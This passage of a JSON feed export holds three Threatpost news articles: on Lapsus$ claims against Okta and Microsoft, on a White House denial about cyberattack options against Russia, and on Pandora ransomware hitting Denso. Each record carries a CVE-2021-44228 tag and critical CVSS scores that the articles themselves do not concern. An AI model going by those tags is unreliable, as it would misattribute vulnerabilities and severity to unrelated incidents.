"2022-02-24T21:11:33", "id": "THREATPOST:3ADFDD3CC93B03F83C2CEC5583B016AB", "href": "https://threatpost.com/harsh-truths-cybersecurity-part-two/178447/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-23T15:55:49", "description": "Both Microsoft and Okta are investigating claims by the new, precocious data extortion group Lapsus$ that the gang has breached their systems.\n\nLapsus$ claimed to have gotten itself \u201csuperuser/admin\u201d access to internal systems at authentication firm Okta. It also posted 40GB worth of files to its Telegram channel, including screenshots and source code, of what the group said is Microsoft\u2019s internal projects and systems.\n\nThe news was first reported by[ Vice](<https://www.vice.com/en/article/y3vk9x/microsoft-hacked-lapsus-extortion-investigating>) and[ Reuters](<https://www.reuters.com/technology/authentication-services-firm-okta-says-it-is-investigating-report-breach-2022-03-22/>).\n\n\n\nOkta [confirmed](<https://www.okta.com/blog/2022/03/updated-okta-statement-on-lapsus/>) on Tuesday that it had been hit and that some customers may have been affected. The scope of the breach isn\u2019t yet clear, but it could be huge: According to Okta, it has hundreds of millions of users that use its platform to provide access to networks, including employees at thousands of large companies [such as](<https://www.okta.com/customers/>) Fedex, Moody\u2019s, T-Mobile, Hewlett Packard Enterprise and GrubHub, to name a few.\n\nA Microsoft spokesperson told Threatpost that its investigation found that an account had been compromised, \u201cgranting limited access.\u201d Its cybersecurity response teams quickly engaged to remediate the compromised account and prevent further activity, the spokesperson said.\n\n\u201cWe do not rely on the secrecy of code as a security measure and viewing source code isn\u2019t tied to elevation of risk,\u201d Microsoft said. The Microsoft Threat Intelligence team on Tuesday published a [blog](<https://www.microsoft.com/security/blog/2022/03/22/dev-0537-criminal-actor-targeting-organizations-for-data-exfiltration-and-destruction/>) detailing observed activity of the Lapsus$, which Microsoft tracks as DEV-0537.\n\n## \u2018Very Worrisome\u2019 Screenshots\n\nThe purported Okta screenshots included one that appears to show Okta\u2019s Slack channels and another with a Cloudflare interface. In an accompanying message, the group said its focus was \u201cONLY on Okta customers.\u201d\n\nBill Demirkapi, an independent security researcher, [tweeted](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATURups4aG50TylqLIu2m529qvCXDKKNB3YX-2BI7VE7tIKnJUDHtBexv2LILHBoiYE7J3uBCo-2Bi9y1WqgWV-2FVL1JT0-3DN9hm_q07lK5GAAVvAnbc-2Fr-2FBDhAPhoMvwzp-2Bdh4wgfTcF0AUhu01ZMXdKNJrsN0iCyDU7ehW0N22Ype9yCK1TM6XYzQ9CpkZyf7pccI4YxuRF0BJuYEbml5ScFK0-2F-2FZqd-2FdTf3C7hkfSQ-2FzYxv1jTev6JpmIZ-2FM5Hf6nWKLsEYfImKdIS2F1mcEw6SBiCJUpzOJVnYlmmr5hh69xCcf1SoRj00M-2BLKFWD-2BWp03x-2Bb24efb6VFjpsCRwE3-2BbgfhgWgK5nTjYrQ829bAWusY8HHtl4WciR7lIzo9-2BvGLXLc1uAXlz-2BE9WeHaNdX27e-2FU73Z9d3mUED7UeE6OP-2Fc0daBaKhxqdUNtjl13pOvgDjad65FeLw-3D>) that the screenshots \u201care very worrisome. \u2026 LAPSUS$ appears to have gotten access to the @Cloudflare tenant with the ability to reset employee passwords.\u201d\n\nCloudflare announced on Tuesday that it\u2019s not up for risking its employees\u2019 Okta credentials. The company, which uses Okta for employee authentication, is resetting its employees credentials, Co-founder and CEO Matthew Prince said on Twitter, \u201cout of an abundance of caution.\u201d\n\n> We are resetting the [@Okta](<https://twitter.com/okta?ref_src=twsrc%5Etfw>) credentials of any employees who\u2019ve changed their passwords in the last 4 months, out of abundance of caution. We\u2019ve confirmed no compromise. Okta is one layer of security. Given they may have an issue we\u2019re evaluating alternatives for that layer.\n> \n> \u2014 Matthew Prince \ud83c\udf25 (@eastdakota) [March 22, 2022](<https://twitter.com/eastdakota/status/1506158901078618118?ref_src=twsrc%5Etfw>)\n\n## Breach Dates to January\n\nDemirkapi noted another scary thing about the screenshots: Namely, they indicate a date of Jan. 21, 2022. If the date is correct, it suggests that Okta \u201cfailed to publicly acknowledge any breach for at least two months,\u201d he said.\n\n> The screenshots are very worrisome. In the pictures below, LAPSUS$ appears to have gotten access to the [@Cloudflare](<https://twitter.com/Cloudflare?ref_src=twsrc%5Etfw>) tenant with the ability to reset employee passwords: [pic.twitter.com/OZBMenuwgJ](<https://t.co/OZBMenuwgJ>)\n> \n> \u2014 Bill Demirkapi (@BillDemirkapi) [March 22, 2022](<https://twitter.com/BillDemirkapi/status/1506109956298317830?ref_src=twsrc%5Etfw>)\n\nYes, the dates could mean that Lapsus$ has had access to Okta for months, but then again, they could instead indicate that Lapsus$ enjoyed a brief romp before it got kicked out. The latter is the case, Okta CEO Todd McKinnon.\n\nOn Tuesday, the CEO [tweeted](<https://twitter.com/toddmckinnon/status/1506184722786885633?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1506184722786885633%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.theregister.com%2F2022%2F03%2F22%2Fokta_lapsus%2F>) that in January 2022, Okta detected an attempted compromise of \u201ca third-party customer support engineer working for one of our subprocessors\u201d but that \u201cthe matter was investigated and contained by the subprocessor.\u201d\n\nOkta believes the screenshots Lapsus$ shared online are connected to the January incident. \u201cBased on our investigation to date, there is no evidence of ongoing malicious activity beyond the activity detected in January,\u201d McKinnon said.\n\n> We believe the screenshots shared online are connected to this January event. Based on our investigation to date, there is no evidence of ongoing malicious activity beyond the activity detected in January. (2 of 2)\n> \n> \u2014 Todd McKinnon (@toddmckinnon) [March 22, 2022](<https://twitter.com/toddmckinnon/status/1506184722786885633?ref_src=twsrc%5Etfw>)\n\n## Did Rogue Employees Pitch In?\n\nIf the dates are accurate, it means that Lapsus$ may well have been successful when it put up a \u201chelp wanted\u201d notice on its Telegram channel on March 10. The group [posted](<https://cybersecuritynews.com/beware-lapsus-ransomware-group/>) that it recruiting company insiders \u2013 including those at Microsoft; other big software/gaming companies such as Apple, IBM or EA; telecoms such as Telefonica, ATT; and more \u2013 to help it carry out its dirty work.\n\nFrom its March 10 Telegram post:\n\n\u201cWe recruit employees/insider at the following!!!! \u2026 TO NOTE: WE ARE NOT LOOKING FOR DATA, WE ARE LOOKING FOR THE EMPLOYEE TO PROVIDE US A VPN OR CITRIX TO THE NETWORK, or some anydesk\u201d \u2013 references to technologies that the cybercriminals could use to penetrate targets\u2019 networks with insiders\u2019 help.\n\n## Data on Bing, Bing Maps, Cortana Allegedly Stolen\n\nOn Monday, Lapsus$ began to circulate a 10GB compressed archive that purportedly contains internal data on Microsoft\u2019s Bing search engine and Bing Maps, along with the source code to the company\u2019s voice assistant software Cortana.\n\nThe leaked data is dated March 20, 2022.\n\n\u201cBing maps is 90% complete dump. Bing and Cortana around 45%,\u201d Lapsus$ wrote on its Telegram channel.\n\nMicrosoft acknowledged the claims and said that it\u2019s investigating.\n\n## Lapsus$ Sneers at Okta\u2019s Claims\n\nOn Tuesday, Okta Chief Security Officer Davis Bradbury made a number of claims In an updated [statement](<https://www.okta.com/blog/2022/03/updated-okta-statement-on-lapsus/>) that, within hours, Lapsus$ [dismisse](<https://twitter.com/BillDemirkapi/status/1506339927935569928/photo/1>)d. Demirkapi [tweeted](<https://twitter.com/BillDemirkapi/status/1506339927935569928>) the group\u2019s slap-back:\n\n> The LAPSUS$ ransomware group has issued the following response to Okta's statement. [pic.twitter.com/D6KYQjnKPU](<https://t.co/D6KYQjnKPU>)\n> \n> \u2014 Bill Demirkapi (@BillDemirkapi) [March 22, 2022](<https://twitter.com/BillDemirkapi/status/1506339927935569928?ref_src=twsrc%5Etfw>)\n\nAmong other things, Lapsus$ scorned Bradbury\u2019s description of the group having breached an engineer\u2019s laptop in the January attempt (it was a thin client, the gang said). The gang also laughed at Bradbury\u2019s claim that the January attempt to access an engineer\u2019s account was unsuccessful (\u201cI\u2019m STILL unsure of how its an unsuccessful attempt? Logged in to superuser portal with the ability to reset the Password and MFA of ~95% of clients isn\u2019t successful?\u201d).\n\nLapsus$ also said that \u201cthe potential impact to Okta customers is NOT limited. I\u2019m pretty sure that resetting passwords and MFA would result in complete compromise of many clients systems.\u201d\n\nOkta hadn\u2019t responded to Threatpost\u2019s request to comment on Lapsus$ claims by the time this article posted.\n\n## The Many Notches on Lapsus$\u2019 Belt\n\nThe Lapsus$ group has pulled off a mounting pile of high-profile attacks. In December, it [attacked](<https://www.zdnet.com/article/brazilian-ministry-of-health-suffers-cyberattack-and-covid-19-vaccination-data-vanishes/>) the Brazil Ministry of Health, taking down several online entities, successfully wiping out information on citizens\u2019 COVID-19 vaccination data as well as disrupting the system that issues digital vaccination certificates.\n\nMore recently, Lapsus$ [crippled](<https://threatpost.com/portuguese-media-giant-impresa-ransomware/177323/>) the Portuguese media giant Impresa; [attacked](<https://threatpost.com/nvidias-stolen-code-signing-certs-sign-malware/178784/>) Nvidia, making off with code-signing certificates then used to sign malware and thus enabling malicious programs to slide past security safeguards on Windows machines; released a purportedly [massive dump](<https://betanews.com/2022/03/06/lapsus-hackers-leak-samsung-source-code-and-massive-data-dump-from-security-breach/>) of proprietary source code [stolen](<https://threatpost.com/samsung-lapsus-ransomware-source-code/178791/>) from Samsung; and [attacked](<https://www.acronis.com/en-us/cyber-protection-center/posts/ubisoft-hit-by-lapsus-ransomware/>) Assassin\u2019s Creed video game developer Ubisoft.\n\nOn Monday, the group also claimed to have breached the electronics giant LGE, according to [Security Week](<https://www.securityweek.com/microsoft-okta-investigating-data-theft-claims>).\n\n## Lapsus$ Is a \u2018Wild Card\u2019\n\nDrew Schmitt, Lapsus$ ransomware expert and principal threat intelligence analyst at cybersecurity firm GuidePoint Security, has interacted directly with the group through his years of ransomware negotiations and threat intelligence work.\n\nHe told Threatpost on Tuesday that the group is a \u201cwild card\u201d in that \u201cthey do not perform encryption of files or data for extortion purposes, rather they target and exfiltrate sensitive data and use that for the primary extortion effort.\u201d\n\nThat sets Lapsus$ from the traditional ransomware approach used by groups such as Conti, Lockbit and others he said. Another deviation from traditional ransomware groups is their use of Telegram for communication and extortion purposes versus the use of a leak site hosted using a TOR service, he noted. As well, their initial access to targeted organizations is unorthodox, he said, referring to the March 11 recruiting message for rogue insiders.\n\nLapsus$ apparently operates on its own, without ties to other cybercriminal/ransomware syndicates or nation-state sponsorship, Schmitt said. That could change, though, as analysis continues, he said: \u201cAs this group has gained a lot of notoriety in the past few weeks, it is possible that we will learn new intelligence that indicates connections to other known groups and syndicates.\u201d\n\nSchmitt said that Lapsus$ is changing the ransomware game with its non-traditional approaches to initial access, its move away from file encryption, and its deviation from the traditional leak site infrastructure. These are changes that could be adopted by more traditional ransomware groups, he predicted.\n\n## Not Just the New Kid on the Block\n\nThe Lapsus$ group\u2019s move on Okta makes it clear that these guys are more than simply the new kid on the block, according to security experts.\n\nDave Stapleton, a former government security analyst and current CISO of third-party risk management company CyberGRX, thinks that Lapsus$ is looking to increase its notoriety \u2013 all the better to recruit insiders willing to sell remote access to major technology corporations. Yet another far-reaching supply-chain attack could also be in its sites, he told Threatpost on Tuesday.\n\n\u201cWhile details are scarce at the moment, it is clear that this threat actor is working hard to make a name for themselves,\u201d Stapleton said via email. \u201cContinuing to increase their notoriety and standing will support their recruitment of insiders who are willing to sell remote access to major technology corporations and ISPs. With this latest move against Okta, the Lapsus$ group is essentially advertising to potential recruits how they operate.\u201d\n\nGiven that Okta is \u201ca crucial identity provider for organizations around the world,\u201d Stapleton fears another in the string of [supply-chain attacks](<https://threatpost.com/supply-chain-security-predicament/178166/>) that have struck the likes of [Toyota](<https://threatpost.com/bridgestone-hit-as-ransomware-torches-toyota-supply-chain/178998/>), et al. \u201cI\u2019m sure [Okta\u2019s] customers will be watching closely. The threat of another far-reaching supply chain attack certainly has my attention,\u201d he said.\n\nKevin Novak, managing director of Breakwater Solutions, suspects that the scope of Okta\u2019s backend breach is likely limited. Otherwise, given Okta\u2019s massive customer base, we\u2019d likely know it by now. \u201cWhile some have made conjectures about whether this hack contributed to another breach here or there, it would seem that a full compromise of Okta\u2019s backend would have become far more obvious by now, but we\u2019ll see more over the next few months,\u201d he said.\n\n\u201cIf \u2026 the compromise involved a successful assault on client information, such as client credentialing, key materials, or source code pertaining to environments that may lead to client compromises, then Okta may suffer much greater scrutiny from the field for its lack of adequate, timely notification of the event,\u201d Novak noted.\n\n## What to Do Now\n\nThe Okta breach is still developing. Still, there are steps organizations can take now to secure their employees and networks. Jon Hencinski, director of global operations at Expel, told Threatpost that precautionary actions to take immediately include rotating privileged Okta passwords and Okta-generated tokens and reviewing Okta admin authentications and activity for the past four months.\n\nHe provided these other tips:\n\n * Review configuration changes to ensure they align with expected activities and sources.\n * Review admin authentications and ensure they originate from expected sources based on the source user.\n * Identify any Okta accounts where MFA was disabled during the same time period and determine the user and root cause of that disablement, then re-enable MFA for those accounts.\n * Throughout this process, communicate transparently what you\u2019re doing and have done with your internal and external stakeholders.\n * This is also an opportunity to stress-test your incident response plan (IRP). And if you don\u2019t have an IRP \u2014 create one, then test it and test it again.\n\n\u201cFortune favors the prepared,\u201d Hencinski said.\n\n032222 19:14 UPDATE: Added response from Microsoft. Corrected security researcher Bill Demirkapi\u2019s affiliation: His work is done independently.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-22T22:14:40", "type": "threatpost", "title": "Lapsus$ Data Kidnappers Claim Snatches From Microsoft, Okta", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-03-22T22:14:40", "id": "THREATPOST:3FDED0EC415BA165368B72AB2A8E1A59", "href": "https://threatpost.com/lapsus-data-kidnappers-claim-snatches-from-microsoft-okta/179041/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-02-25T00:38:55", "description": "The White House has denied reports that President Biden has been [presented](<https://www.nbcnews.com/politics/national-security/biden-presented-options-massive-cyberattacks-russia-rcna17558>) with an arsenal of ways to launch massive cyberattacks against Russia \u2013 attacks designed to disrupt the country\u2019s ability to sustain its military operations in Ukraine.\n\nNBC News on Thursday reported that the options included \u201cdisrupting internet connectivity across[ Russia](<https://www.nbcnews.com/news/world/russia-launches-attacks-key-ukrainian-cities-rcna17482>), shutting off electric power, and tampering with railroad switches to hamper Russia\u2019s ability to resupply its forces.\u201d\n\nRussia\u2019s military forces have been deployed in a \u200bfull-scale [attack](<https://www.washingtonpost.com/world/2022/02/24/russia-ukraine-attack-news/>) against Ukraine.\n\nWithin hours of the report, press secretary Jen Psaki said in a[ tweet](<https://twitter.com/PressSec/status/1496919281535111211>) that NBC got it wrong: \u201cThis report on cyber options being presented to[ @POTUS](<https://twitter.com/POTUS>) is off base and does not reflect what is actually being discussed in any shape or form,\u201d she said.\n\n> This report on cyber options being presented to [@POTUS](<https://twitter.com/POTUS?ref_src=twsrc%5Etfw>) is off base and does not reflect what is actually being discussed in any shape or form.\n> \n> \u2014 Jen Psaki (@PressSec) [February 24, 2022](<https://twitter.com/PressSec/status/1496919281535111211?ref_src=twsrc%5Etfw>)\n\nThe outlet\u2019s sources \u2013 \u201ctwo U.S. intelligence officials, one Western intelligence official and another person briefed on the matter\u201d \u2013 told NBC that no final decisions had been made as of earlier on Thursday.\n\nOne of those sources said the possibilities range from the aggravating to the destructive: \u201cYou could do everything from slow the trains down to have them fall off the tracks,\u201d said the source, who\u2019d been briefed on the matter.\n\nBut that source also said that most of the potential measures on the slate of possible cyberattacks (a slate that, again, press secretary Psaki said was inaccurate) wouldn\u2019t be destructive but would, rather, be designed to be disruptive, hence falling short of an act of war by the United States against Russia, according to NBC.\n\n## Would the U.S. Be Prepared for Retaliation?\n\nNBC\u2019s sources said that the purported slate of cyberattack options were allegedly presented irrespective of the likelihood that Russia would retaliate.\n\nAnd retaliate it would, cybersecurity experts predicted, whether in response to sanctions, to any arms/material support the United States may choose to send to the Ukrainian resistance, or to whatever cyberattacks the country might launch.\n\nMark Moses, director of client engagement at application security provider nVisium, told Threatpost via email on Thursday that Russian cyberattacks against critical U.S. infrastructure and economic assets \u201cwill escalate rapidly if the United States takes a real stance against the annexation of Ukraine to Russia.\u201d\n\nIn fact, government outfits and key businesses should already be bolstering defenses and ensuring that redundant systems are in place, he said, as defense against state-level actors \u201cis at another level from defense against the average Internet threat actor.\u201d\n\nThere\u2019s already been a swirl of malicious cyber-action that\u2019s coincided with Russia\u2019s deployment of troops to Ukraine.\n\nOn Tuesday, a wave of distributed denial-of-service (DDoS) attacks [hit institutions](<https://threatpost.com/ukrainian-ddos-attacks-should-put-us-on-notice-researchers/178498/>) central to Ukraine\u2019s government, military and economy, including banks.\n\nIn addition, Cybersecurity firms [ESET](<https://twitter.com/ESETresearch/status/1496581903205511181>) and Broadcom\u2019s [Symantec](<https://twitter.com/threatintel/status/1496578746014437376>) earlier this week reported that new data-wiping malware, dubbed [HermeticWiper](<https://twitter.com/juanandres_gs/status/1496581710368358400>), was discovered on hundreds of machines on Ukrainian networks.\n\nIn a Thursday [post](<https://www.digitalshadows.com/blog-and-research/russia-invades-ukraine-what-happens-next/>), the Digital Shadows Photon Research team noted that researchers found that in some cases the malware had been compiled in December 2021, \u201cindicating that the attack had been prepared in advance.\u201d [ Other research](<https://www.welivesecurity.com/2022/02/24/hermeticwiper-new-data-wiping-malware-hits-ukraine/>) identified that HermeticWiper was deployed directly from Windows domain controllers, indicating [it\u2019s] realistically possible that attackers may have had prolonged access prior to execution.\u201d\n\nHitesh Sheth, President and CEO at cybersecurity company Vectra, told Threatpost that it\u2019s \u201cimperative\u201d for the United States\u2019 organizations and government bodies to fortify defenses while the government considers offensive options. \u201cGoing on the offensive without the right technology to defend ourselves in cyber space would be bad strategy,\u201d he declared.\n\nJohn Hellickson, field CISO and executive advisor at cybersecurity advisory services provider Coalfire, agreed that retaliation by Russia could have \u201cdevastating\u201d impacts on essential services in the United States. He told Threatpost via email on Thursday that we\u2019ve still got a lot of work here at home to ensure that such retaliatory attacks could be sufficiently thwarted, \u201cas evidenced by very public ransomware and similar attacks of recent.\u201d\n\nHellickson preached caution: \u201cWe need to avoid crossing the line of such considerations as it\u2019s difficult to predict the impacts of a likely retaliation,\u201d he advised.\n\n## More to Come\n\nDigital Shadows is foretelling that Russia will launch yet more malicious cyber-action targeting Ukraine. Cyberattacks could extend beyond Ukraine, researchers predicted, with future attacks potentially affecting NATO and EU member states.\n\n\u201cThis has already been observed with HermeticWiper impacting networks in Latvia and Lithuania,\u201d Digital Shadows pointed out. The researchers compared the situation to the 2017 global [NotPetya](<https://threatpost.com/merck-insurance-payout-notpetya-attack/177872/>) attacks: attacks allegedly tied to Russian military intelligence.\n\n\u201cIt is also realistically possible that the financial services, energy, and oil & gas sectors in particular are under an increased risk from Russian aligned threat actors,\u201d Digital Shadows suggested. \u201cTargeting oil & gas in Europe, for example, could serve to cause concern among nation-states dependent on Russian energy.\u201d\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-25T00:29:32", "type": "threatpost", "title": "White House Denies Mulling Massive Cyberattacks Against Russia", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-44228"], "modified": "2022-02-25T00:29:32", "id": "THREATPOST:97D06649A596B5E25E2A11E3D275748B", "href": "https://threatpost.com/white-house-denies-mulling-massive-cyberattacks-against-russia/178658/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2022-03-15T13:03:28", "description": "A multibillion supplier to key automotive companies like Toyota, Mercedes-Benz and Ford confirmed Monday that it was the target of a cyberattack over the weekend \u2013 confirmation that came after the Pandora ransomware group began leaking data that attackers claimed was stolen in the incident.\n\nThe attack on Japan-based Denso occurred at a company office in Germany, which was \u201cillegally accessed by a third party on March 10,\u201d the company said in [a press statement](<https://www.denso.com/global/en/news/newsroom/2022/20220314-g01/>) on its website.\n\n\u201cAfter \u2026 detecting the unauthorized access, Denso promptly cut off the network connection of devices that received unauthorized access and confirmed that there is no impact on other Denso facilities,\u201d the company said in the statement.\n\nDenso is one of the world\u2019s largest suppliers of automotive components \u2013 including powertrain control and electronics parts \u2013 to top automobile brands such as Toyota, Mercedes-Benz, Ford, Honda, Volvo, Fiat and General Motors. The Japan-based supplier reported $44.6 billion in revenue last year and has more than 200 subsidiaries with 168,391 employees worldwide.\n\nDenso is currently investigating the incident with appropriate authorities and production continues at \u201call plants as usual,\u201d according to the statement.\n\n## **Toyota Data Leaked**\n\nHowever, classified information from Toyota stolen in the attack on Denso already has been leaked on the dark web by Pandora, according to Japanese security firm Mitsui Bussan Secure Directions.\n\nThe company told [Japanese news outlet NHK](<https://www3.nhk.or.jp/nhkworld/en/news/20220313_23/>) that Pandora posted a message on the dark web on Sunday afternoon, Japan time, claiming to have stolen more than 157,000 items amounting to 1.4 terabytes of data belonging to the Toyota Motor group. This is the second time in a few weeks that Toyota has been hit: In late February, the car maker was forced to [close down](<https://threatpost.com/toyota-to-close-japan-plants-after-suspected-cyberattack/178686/>) its Japan plants after a suspected cyberattack.\n\nOn Saturday, Eastern time, the dark-web criminal intelligence firm DarkTracer [tweeted](<https://twitter.com/darktracer_int/status/1502871181556211721?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1502871181556211721%7Ctwgr%5E%7Ctwcon%5Es1_&ref_url=https%3A%2F%2Fwww.bankinfosecurity.com%2Ftoyota-parts-supplier-denso-confirms-ransomware-attack-a-18716>) a screenshot of the Denso listing on Pandora\u2019s leak portal. Reports said that the dump includes purchase orders, emails, non-disclosure agreements, technical drawings and other classified information.\n\n> [ALERT] Pandora gang has announced \"DENSO\" on the victim list. [pic.twitter.com/kh9wzGV1io](<https://t.co/kh9wzGV1io>)\n> \n> \u2014 DarkTracer : DarkWeb Criminal Intelligence (@darktracer_int) [March 13, 2022](<https://twitter.com/darktracer_int/status/1502871181556211721?ref_src=twsrc%5Etfw>)\n\nOn Monday, DarkTracer [added](<https://twitter.com/darktracer_int/status/1503521358436872193>) that the Rook gang listed Denso on its victim list a few months ago, in December 2021.\n\n> DENSO was listed on the victim list by ROOK in December 2021 and Pandora ransomware gang in March 2022. [pic.twitter.com/tFcRP0iSx3](<https://t.co/tFcRP0iSx3>)\n> \n> \u2014 DarkTracer : DarkWeb Criminal Intelligence (@darktracer_int) [March 15, 2022](<https://twitter.com/darktracer_int/status/1503521358436872193?ref_src=twsrc%5Etfw>)\n\nIt\u2019s unclear at this time if Pandora managed to encrypt files before the most recent attack was detected, nor how much, if any, ransom is being demanded, according to reports. The one-two punch of both encrypting files and then threatening to leak or actually leaking files is a known ransomware tactic dubbed [\u201cdouble extortion.\u201d](<https://threatpost.com/mount-locker-ransomware-changes-tactics/165559/>)\n\n## **Supply-Chain Under Attack**\n\nThe Denso attack is the second supply-chain cyber incident that has impacted Toyota this year. In February, [an attack on Toyota supplier Kojima Industries Corp](<https://threatpost.com/toyota-to-close-japan-plants-after-suspected-cyberattack/178686/>). forced the company to shut down its Japanese plants.\n\nThese incidents demonstrate the danger of attacks to the supply chain of multinational organizations, stressing the need to maintain and manage the same security at the principal company across all partners and business units, one security professional said.\n\n\u201cCybercriminals will always exploit the weakest link, and in today\u2019s interconnected networks can do significant damage from compromising even a small business unit,\u201d Chris Clements, vice president of solutions architecture at security firm [**Cerberus Sentinel**](<https://u7061146.ct.sendgrid.net/ls/click?upn=4tNED-2FM8iDZJQyQ53jATUc1h7F6EeKyqQHDAzxY6FeBG4AZ1lNaZ-2Fme9HKLAKT7PafO3_6bll2uIcECOBsx1gx1IC2zx-2FnKyCXka4AgKvEYqpnW0-2BDbBUicS42bKww9XV5LeOm8YSoCZbw6XkWDSfAMcb8IRiPIGKWMahkivu0WTh5PX5dG77IJVWKxIQtQJVv-2BIYMJWuG5OA4-2BOZVBWk67VVuirlpGqvvjOXpBF3L7YyXmgDicFNnin5X9cffMU5tz5sAvRLImOfXwTT9u9-2FFH7xzyri9Y9AhWFE2dmrkAU8E2kn12zI2BdfTSHHXU9lg6mTJmz7yfpOLHFgsLlFN24bpzc1Kk4Xrvjw-2BEXtWSMBRNfWVwwirbw4h3nPn3SgKzb5aH5KhjDKycPmCLx4O3XW8D7pUZQ0iU5KLwWJv0SpW-2FM-3D>), wrote in an email to Threatpost on Monday. \u201cIt\u2019s no longer enough for businesses to solely focus on their ability to prevent or recover from a ransomware attack as attackers now routinely steal mass quantities of data as part of their operations.\u201d\n\nIndeed, the data theft involved in double-extortion attacks can be even more dangerous than simply a traditional encryption-based ransomware attack due to the unpredictability of attackers once they get their hands on sensitive and proprietary information, he noted.\n\n\u201cThere is no way to verify that the attacker will actually delete the information instead of attempting to resell it on the dark web or simply release it publicly,\u201d Clements said.\n\n## **Emerging Ransomware Threat**\n\nThe Pandora group is relatively new on the ransomware scene, emerging earlier this month as a new player in the threat landscape that uses this dangerous method of double extortion to blackmail targets.\n\nPandora\u2019s designers have developed the ransomware to encrypt sensitive files to restrict access by appending the _.pandora_ extension to filenames to prevent victims from opening affected files, according [to research](<https://malwarewarrior.com/how-to-remove-pandora-ransomware/>) from Malware Warrior.\n\nSince Pandora is such a new threat, it\u2019s not yet known how cybercriminals breach corporate networks to infect systems with the ransomware. However, clues might be found in previously active ransomware groups and their methods, researchers said.\n\nOne security researcher with the Twitter handle pancak3 [believes](<https://twitter.com/pancak3lullz/status/1503201831303983108>) Pandora is a re-branding of [Rook](<https://www.sentinelone.com/labs/new-rook-ransomware-feeds-off-the-code-of-babuk/>) ransomware, which in turn borrows code from [Babuk ransomware](<https://threatpost.com/babuk-ransomware-washington-dc-police/165616/>). That [now-defunct ransomware-as-a-service (RaaS)](<https://threatpost.com/babuk-ransomware-gang-mulls-retirement/165742/>) group \u2013 which is likely selling its services for other cybercriminals to use \u2013 also used double extortion in its attacks during its heyday.\n\n**_Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our _**[**_FREE downloadable eBook_**](<https://bit.ly/3Jy6Bfs>)**_, \u201cCloud Security: The Forecast for 2022.\u201d_** **_We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-15T12:58:59", "type": "threatpost", "title": "Pandora Ransomware Hits Giant Automotive Supplier Denso", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": 